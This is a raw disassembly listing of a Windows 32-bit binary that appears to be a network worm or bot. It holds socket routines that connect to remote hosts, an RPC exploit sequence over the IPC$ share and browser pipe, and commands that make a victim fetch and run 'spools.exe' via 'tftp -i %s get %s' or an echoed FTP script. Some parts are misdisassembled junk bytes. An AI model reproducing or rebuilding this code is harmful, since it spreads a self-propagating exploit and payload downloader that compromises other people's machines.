		push	dword ptr [ebp-4]
		call	near ptr sub_41C9B0
		add	dword ptr [ebp-4], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-0Ch]
		jnz	short loc_40DF0F


loc_40DF26:				; CODE XREF: seg000:0040DEFCj
		mov	eax, [ebp+0C4h]
		add	eax, 42h
		push	eax
		call	sub_41BBCB
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-0Ch], esi
		jnz	short loc_40DF54
		push	dword ptr [ebp-8]
		call	ds:dword_42706C	; CloseHandle
		push	edi
		call	sub_41B961
		pop	ecx
		jmp	loc_40DC8B
; ---------------------------------------------------------------------------


loc_40DF54:				; CODE XREF: seg000:0040DF3Dj
		mov	eax, [ebp+0C4h]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41BC40
		lea	eax, [ebp-74h]
		push	14h
		push	eax
		push	esi
		call	near ptr sub_41C9B0
		mov	eax, [ebp+0C4h]
		mov	[ebp-10h], ebx
		mov	[ebp-14h], eax
		add	esp, 10h
		fild	qword ptr [ebp-14h]
		fmul	ds:flt_4276AC
		fstp	qword ptr [esp]
		call	sub_41CE5F
		call	sub_41CE38
		push	dword ptr [ebp+0C4h]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	near ptr sub_41C9B0
		mov	eax, [ebp+0C4h]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp-4], eax
		jz	short loc_40DFCD


loc_40DFC5:				; CODE XREF: seg000:0040DFC8j
		inc	eax
		test	al, 3
		jnz	short loc_40DFC5
		mov	[ebp-4], eax


loc_40DFCD:				; CODE XREF: seg000:0040DFC3j
		lea	ecx, [ebp-34h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	near ptr sub_41C9B0
		add	dword ptr [ebp-4], 1Ch
		push	edi
		call	sub_41B961
		push	18h
		lea	eax, [ebp-4Ch]
		push	ebx
		push	eax
		call	sub_41BC40
		push	14h
		lea	eax, [ebp-60h]
		push	ebx
		push	eax
		mov	byte ptr [ebp-4Ch], 5
		mov	[ebp-4Bh], bl
		mov	[ebp-4Ah], bl
		mov	byte ptr [ebp-49h], 3
		mov	dword ptr [ebp-48h], 10h
		mov	[ebp-42h], bx
		mov	[ebp-40h], ebx
		mov	[ebp-38h], bx
		mov	word ptr [ebp-36h], 1Fh
		call	sub_41BC40
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	near ptr 0B00000h
		out	dx, al
		mov	[ebp-50h], eax
		mov	[ebp+0C7h], bl
		mov	[ebp-10h], ebx


loc_40E03D:				; CODE XREF: seg000:0040E107j
		cmp	dword ptr [ebp-10h], 2
		jge	loc_40E112
		push	1
		push	10B8h
		push	dword ptr [ebp-4]
		inc	dword ptr [ebp-10h]
		push	esi
		lea	esi, [ebp-4Ch]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-8]
		rep movsd
		call	sub_40DAE4
		add	esp, 2Ch
		test	al, al
		jz	loc_40E10F
		cmp	[ebp-50h], ebx
		jz	near ptr loc_40E0FD+1
		lea	eax, [ebp-60h]
		push	eax
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-60E0h]
		push	2000h
		push	eax
		push	dword ptr [ebp-8]
		call	ds:dword_4270E8	; ReadFile
		test	eax, eax
		jnz	short loc_40E0B0
		call	ds:dword_42708C	; RtlGetLastWin32Error
		cmp	eax, 3E5h
		jnz	loc_40DC8B


loc_40E0B0:				; CODE XREF: seg000:0040E09Dj
		push	3E8h
		push	dword ptr [ebp-50h]
		call	near ptr 0B00000h
		jle	short loc_40E0FC
		add	al, [ecx]
; ---------------------------------------------------------------------------
		db 2 dup(0), 75h
		dd 8D656A39h, 0EC810875h, 0BCh,	0C785C6h, 6A010000h, 0FC8B592Fh
		dd 6DE8A5F3h, 8B0000ACh, 0B085h, 0C0C48100h, 0C1000000h
		dd 80FF06E0h, 438050h, 8050808Dh
; ---------------------------------------------------------------------------


loc_40E0FC:				; CODE XREF: seg000:0040E0BDj
		inc	ebx


loc_40E0FD:				; CODE XREF: seg000:0040E078j
		add	[eax], bh
		popf
		mov	dword ptr [eax], 758B0000h
		hlt
; ---------------------------------------------------------------------------
		jz	loc_40E03D
		jmp	short loc_40E112
; ---------------------------------------------------------------------------


loc_40E10F:				; CODE XREF: seg000:0040E06Fj
		mov	esi, [ebp-0Ch]


loc_40E112:				; CODE XREF: seg000:0040E041j
					; seg000:0040E10Dj
		push	dword ptr [ebp-8]
		mov	edi, ds:dword_42706C
		call	edi ; dword_42706C
		push	esi
		call	sub_41B961
		cmp	[ebp-50h], ebx
		pop	ecx
		jz	short loc_40E12E
		push	dword ptr [ebp-50h]
		call	edi ; dword_42706C


loc_40E12E:				; CODE XREF: seg000:0040E127j
		xor	eax, eax
		cmp	[ebp+0C7h], bl
		setnz	al


loc_40E139:				; CODE XREF: seg000:0040DC8Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40E13E	proc near		; CODE XREF: seg000:0040D7D2p

arg_0		= byte ptr  4

		push	esi
		push	edi
		push	0
		lea	esi, [esp+0Ch+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	loc_40DBD2
		add	esp, 0C0h
		test	eax, eax
		push	1
		jz	short loc_40E167
		pop	eax
		jmp	short loc_40E18C
; ---------------------------------------------------------------------------


loc_40E167:				; CODE XREF: sub_40E13E+24j
		sub	esp, 0BCh
		lea	esi, [esp+0C8h+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	loc_40DBD2
		add	esp, 0C0h
		neg	eax
		sbb	eax, eax
		neg	eax


loc_40E18C:				; CODE XREF: sub_40E13E+27j
		pop	edi
		pop	esi
		retn
sub_40E13E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18F	proc near		; CODE XREF: sub_40E62B+35p

var_230		= byte ptr -230h
var_210		= byte ptr -210h
var_1F0		= byte ptr -1F0h
var_1D0		= byte ptr -1D0h
var_1B0		= byte ptr -1B0h
var_190		= byte ptr -190h
var_170		= byte ptr -170h
var_150		= byte ptr -150h
var_130		= byte ptr -130h
var_110		= byte ptr -110h
var_F0		= byte ptr -0F0h
var_D0		= byte ptr -0D0h
var_B0		= byte ptr -0B0h
var_90		= byte ptr -90h
var_70		= byte ptr -70h
var_50		= byte ptr -50h
var_30		= byte ptr -30h
var_20		= dword	ptr -20h
var_10		= byte ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
arg_136F8	= byte ptr  136FCh
arg_13720	= dword	ptr  13724h
arg_13864	= byte ptr  13868h
arg_1388C	= byte ptr  13890h
arg_13924	= dword	ptr  13928h

		mov	eax, 13894h
		call	sub_41C1D0
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	edi, edi
		push	edi
		push	1
		push	2
		call	ds:dword_42721C	; socket
		mov	esi, eax
		lea	eax, [esp+1Ch+arg_1388C]
		push	eax
		mov	word ptr [esp+20h+var_8], 2
		call	ds:dword_427230	; inet_addr
		push	[esp+20h+arg_13924]
		mov	[esp+24h+var_8], eax
		call	ds:dword_427208	; ntohs
		mov	[esp+24h+var_E], ax
		lea	eax, [esp+24h+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_42720C	; connect
		test	eax, eax
		jge	short loc_40E1F0


loc_40E1E9:				; CODE XREF: sub_40E18F+275j
		xor	eax, eax
		jmp	loc_40E620
; ---------------------------------------------------------------------------


loc_40E1F0:				; CODE XREF: sub_40E18F+58j
		lea	eax, [esp+30h+var_20]
		push	4
		push	eax
		push	1006h
		push	0FFFFh
		push	esi
		mov	[esp+44h+var_20], 1388h
		call	ds:dword_427210	; setsockopt
		lea	eax, [esp+44h+arg_13864]
		push	1
		push	eax
		call	sub_41852C
		pop	ecx
		cmp	eax, 2
		pop	ecx
		jz	loc_40E409
		cmp	eax, 1
		jz	loc_40E409
		mov	ebx, ds:dword_427220
		push	edi
		push	48h
		push	offset aB	; ""
		push	esi
		call	ebx ; dword_427220
		mov	ebp, ds:dword_427214
		push	edi
		mov	edi, 13880h
		lea	eax, [esp+58h+var_30]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	58h
		push	offset dword_43917C
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	0B0h
		push	offset dword_4391D8
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+98h+var_70]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	0F6h
		push	offset dword_43928C
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+0B8h+var_90]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	3Eh
		push	offset dword_439384
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+0D8h+var_B0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	60h
		push	offset dword_4393C4
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+0F8h+var_D0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	96h
		push	offset dword_439428
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+118h+var_F0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_4394C0
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+138h+var_110]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_43961C
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+158h+var_130]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_439778
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+178h+var_150]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	6Ah
		push	offset dword_4398D4
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+198h+var_170]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		test	eax, eax
		jz	loc_40E5E4
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E5E4
		push	0
		push	15Bh
		push	offset dword_4394C0
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+1B8h+var_190]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_43961C
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+1D8h+var_1B0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_439778
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+1F8h+var_1D0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	6Ah
		push	offset dword_4398D4
		push	esi
		call	ebx ; dword_427220
		push	1387Fh
		lea	eax, [esp+218h+var_1F0]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch


loc_40E3D0:				; CODE XREF: sub_40E18F+450j
		push	0
		lea	eax, [esp+218h+var_1F0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		test	eax, eax
		jz	loc_40E5E4
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E5E4
		cmp	[esp+224h+arg_13720], 8Bh
		push	esi
		jnz	loc_40E5E5
		call	ds:dword_427218	; closesocket
		jmp	loc_40E1E9
; ---------------------------------------------------------------------------


loc_40E409:				; CODE XREF: sub_40E18F+95j
					; sub_40E18F+9Ej
		mov	ebx, ds:dword_427220
		push	edi
		push	48h
		push	offset unk_439940
		push	esi
		call	ebx ; dword_427220
		mov	ebp, ds:dword_427214
		push	edi
		mov	edi, 13880h
		lea	eax, [esp+58h+var_30]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	58h
		push	offset dword_43998C
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	0B0h
		push	offset dword_4399E8
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+98h+var_70]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	0F6h
		push	offset dword_439A9C
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+0B8h+var_90]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	66h
		push	offset dword_439B94
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+0D8h+var_B0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	3Eh
		push	offset dword_439BFC
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+0F8h+var_D0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	60h
		push	offset dword_439C3C
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+118h+var_F0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	96h
		push	offset dword_439CA0
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+138h+var_110]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_439D38
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+158h+var_130]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_439E94
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+178h+var_150]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_439FF0
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+198h+var_170]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_43A14C
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+1B8h+var_190]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	0CEh
		push	offset dword_43A2A8
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+1D8h+var_1B0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		test	eax, eax
		jz	loc_40E5E4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E5E4
		push	0
		push	15Bh
		push	offset dword_439D38
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+1F8h+var_1D0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_439E94
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+218h+var_1F0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_439FF0
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+238h+var_210]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_43A14C
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+258h+var_230]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	0CEh
		push	offset dword_43A2A8
		push	esi
		call	ebx ; dword_427220
		jmp	loc_40E3D0
; ---------------------------------------------------------------------------


loc_40E5E4:				; CODE XREF: sub_40E18F+1C4j
					; sub_40E18F+1CDj ...
		push	esi


loc_40E5E5:				; CODE XREF: sub_40E18F+269j
		call	ds:dword_427218	; closesocket
		push	7D0h
		call	ds:dword_427064	; Sleep
		push	0BEEFh
		lea	esi, [esp+1B0h+arg_136F8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_418D50
		add	esp, 0C0h
		neg	al
		sbb	eax, eax
		neg	eax


loc_40E620:				; CODE XREF: sub_40E18F+5Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 13894h
		retn
sub_40E18F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E62B	proc near		; CODE XREF: seg000:0040D7EAp

var_200		= byte ptr -200h
arg_0		= byte ptr  8
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		xor	esi, esi
		cmp	[ebp+arg_A0], 8Bh
		push	edi
		jz	short loc_40E650
		cmp	[ebp+arg_A0], 1BDh
		jnz	short loc_40E693


loc_40E650:				; CODE XREF: sub_40E62B+17j
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E18F
		mov	esi, eax
		add	esp, 0BCh
		test	esi, esi
		jz	short loc_40E693
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4157A6
		mov	eax, [ebp+arg_A8]
		pop	ecx
		shl	eax, 6
		inc	ds:dword_438050[eax]
		lea	eax, dword_438050[eax]


loc_40E693:				; CODE XREF: sub_40E62B+23j
					; sub_40E62B+44j
		mov	eax, esi
		pop	edi
		pop	esi
		leave
		retn
sub_40E62B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E699	proc near		; CODE XREF: sub_40E7D2+24Ep

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	ds:dword_4D1230
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	ds:dword_4D11F0
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_4D1270
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E7AB
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_4D1198
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E7AB
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_4D1208
		mov	esi, offset aSpools_exe	; "spools.exe"
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40AB6A
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 18h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_4D1240
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E7AB
		push	1F4h
		call	ds:dword_427064	; Sleep
		push	esi
		push	offset dword_430C18
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_4D1240
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E7AF


loc_40E7AB:				; CODE XREF: sub_40E699+50j
					; sub_40E699+66j ...
		xor	al, al
		jmp	short loc_40E7CD
; ---------------------------------------------------------------------------


loc_40E7AF:				; CODE XREF: sub_40E699+110j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_4D1208
		push	ebx
		call	ds:dword_4D1288
		mov	al, 1


loc_40E7CD:				; CODE XREF: sub_40E699+114j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E699	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E7D2	proc near		; CODE XREF: sub_40EA50+16p
					; sub_40EA50+39p

var_72E38B40	= dword	ptr -72E38B40h
var_1D24	= byte ptr -1D24h
var_D24		= byte ptr -0D24h
var_CF8		= byte ptr -0CF8h
var_CF4		= byte ptr -0CF4h
var_CF0		= byte ptr -0CF0h
var_CEC		= byte ptr -0CECh
var_A28		= byte ptr -0A28h
var_A24		= byte ptr -0A24h
var_4F4		= byte ptr -4F4h
var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_88		= byte ptr -88h
var_84		= byte ptr -84h
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_58		= byte ptr -58h
var_54		= byte ptr -54h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		mov	eax, 1D24h
		call	sub_41C1D0
		push	ebx
		push	esi
		push	edi
		push	830h
		lea	eax, [ebp+var_D24]
		push	0
		push	eax
		call	sub_41BC40
		push	264h
		lea	eax, [ebp+var_2EC]
		push	0FFFFFF90h
		push	eax
		call	sub_41BC40
		push	15Bh
		lea	eax, [ebp+var_2EC]
		push	offset dword_43A414
		push	eax
		call	near ptr sub_41C9B0
		push	4
		lea	eax, [ebp+var_88]
		pop	ebx
		push	ebx
		push	offset dword_43A5DC
		push	eax
		call	near ptr sub_41C9B0
		push	8
		lea	eax, [ebp+var_84]
		push	41h
		push	eax
		call	sub_41BC40
		mov	esi, offset dword_43A5D4
		push	ebx
		lea	eax, [ebp+var_7C]
		push	esi
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 48h
		lea	eax, [ebp+var_78]
		push	20h
		push	0FFFFFF90h
		push	eax
		call	sub_41BC40
		push	ebx
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		call	near ptr sub_41C9B0
		push	8
		lea	eax, [ebp+var_54]
		push	42h
		push	eax
		call	sub_41BC40
		push	ebx
		lea	eax, [ebp+var_4C]
		push	esi
		push	eax
		call	near ptr sub_41C9B0
		push	20h
		lea	eax, [ebp+var_48]
		push	0FFFFFF90h
		push	eax
		call	sub_41BC40
		push	2Ch
		lea	eax, [ebp+var_D24]
		push	offset dword_43A3C4
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 48h
		mov	edi, offset dword_43A5CC
		lea	eax, [ebp+var_CF8]
		push	ebx
		push	edi
		push	eax
		call	near ptr sub_41C9B0
		mov	esi, offset dword_4D3F1C
		push	ebx
		lea	eax, [ebp+var_CF4]
		push	esi
		push	eax
		call	near ptr sub_41C9B0
		push	ebx
		lea	eax, [ebp+var_CF0]
		push	edi
		push	eax
		call	near ptr sub_41C9B0
		lea	eax, [ebp+var_2EC]
		push	2C4h
		push	eax
		lea	eax, [ebp+var_CEC]
		push	eax
		call	near ptr sub_41C9B0
		push	ebx
		lea	eax, [ebp+var_A28]
		push	esi
		push	eax
		call	near ptr sub_41C9B0
		push	1Ch
		lea	eax, [ebp+var_A24]
		push	offset dword_43A3F4
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 48h
		lea	eax, [ebp+arg_4]
		mov	edi, 104h
		push	eax
		push	offset aSIpc	; "\\\\%s\\ipc$"
		lea	eax, [ebp+var_3F0]
		push	edi
		push	eax
		call	sub_41C030
		lea	eax, [ebp+var_3F0]
		add	esp, 10h
		xor	esi, esi
		mov	[ebp+var_14], eax
		mov	eax, offset byte_443398
		push	esi
		push	eax
		push	eax
		lea	eax, [ebp+var_28]
		mov	[ebp+var_24], esi
		push	eax
		mov	[ebp+var_18], esi
		mov	[ebp+var_C], esi
		call	sub_41B888
		test	eax, eax
		jz	short loc_40E972
		push	offset aFailedToConnec ; "[-] Failed to	connect	to host	!\n"
		call	sub_41D88C
		pop	ecx


loc_40E96B:				; CODE XREF: sub_40E7D2+1D6j
					; sub_40E7D2+229j ...
		xor	eax, eax


loc_40E96D:				; CODE XREF: sub_40E7D2+279j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40E972:				; CODE XREF: sub_40E7D2+18Cj
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		lea	eax, [ebp+var_4F4]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 10h
		lea	eax, [ebp+var_4F4]
		push	esi
		push	esi
		push	3
		push	esi
		push	esi
		push	0C0000000h
		push	eax
		call	ds:dword_4270EC	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40E96B
		push	offset aBindingToRpcIn ; "[+] Binding to RPC interface ... \n"
		call	sub_41D88C
		pop	ecx
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_1D24]
		push	1000h
		push	eax
		push	49h
		push	offset dword_43A378
		push	edi
		call	near ptr 0B00000h
		or	[ebp+var_72E38B40], eax
		inc	ebp
		cld
		push	esi
		push	eax
		lea	eax, [ebp+var_D24]
		push	830h
		push	eax
		push	edi
		call	near ptr 0B00000h
		db	64h
		test	eax, eax
		jnz	short loc_40EA00
		push	edi
		call	ds:dword_42706C	; CloseHandle
		jmp	loc_40E96B
; ---------------------------------------------------------------------------


loc_40EA00:				; CODE XREF: sub_40E7D2+220j
		push	0FAh
		call	ds:dword_427064	; Sleep
		push	115Ch
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E699
		add	esp, 0C0h
		test	al, al
		jz	loc_40E96B
		mov	eax, [ebp+arg_A8]
		push	1
		shl	eax, 6
		inc	ds:dword_438050[eax]
		lea	eax, dword_438050[eax]
		pop	eax
		jmp	loc_40E96D
sub_40E7D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EA50	proc near		; CODE XREF: seg000:0040D802p

arg_0		= byte ptr  4

		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [esp+0C4h+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E7D2
		add	esp, 0BCh
		test	eax, eax
		jnz	short loc_40EA9C
		sub	esp, 0BCh
		lea	esi, [esp+0C4h+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E7D2
		add	esp, 0BCh
		neg	eax
		sbb	eax, eax
		neg	eax
		jmp	short loc_40EA9F
; ---------------------------------------------------------------------------


loc_40EA9C:				; CODE XREF: sub_40EA50+23j
		push	1
		pop	eax


loc_40EA9F:				; CODE XREF: sub_40EA50+4Aj
		pop	edi
		pop	esi
		retn
sub_40EA50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EAA2	proc near		; CODE XREF: sub_40EB90+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	ds:dword_427230	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	ds:dword_427208	; ntohs
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_42721C	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40EB70
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_42720C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EB70
		mov	edi, 400h
		push	esi
		mov	esi, ds:dword_427214
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi ; dword_427214
		mov	eax, offset aSpools_exe	; "spools.exe"
		push	eax
		push	eax
		push	ds:dword_4D0F20
		push	[ebp+arg_0]
		call	sub_40AB6A
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpen_0 ; "cmd /k echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41C030
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_427220	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EB74


loc_40EB70:				; CODE XREF: sub_40EAA2+50j
					; sub_40EAA2+62j
		xor	eax, eax
		jmp	short loc_40EB8B
; ---------------------------------------------------------------------------


loc_40EB74:				; CODE XREF: sub_40EAA2+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi ; dword_427214
		push	ebx
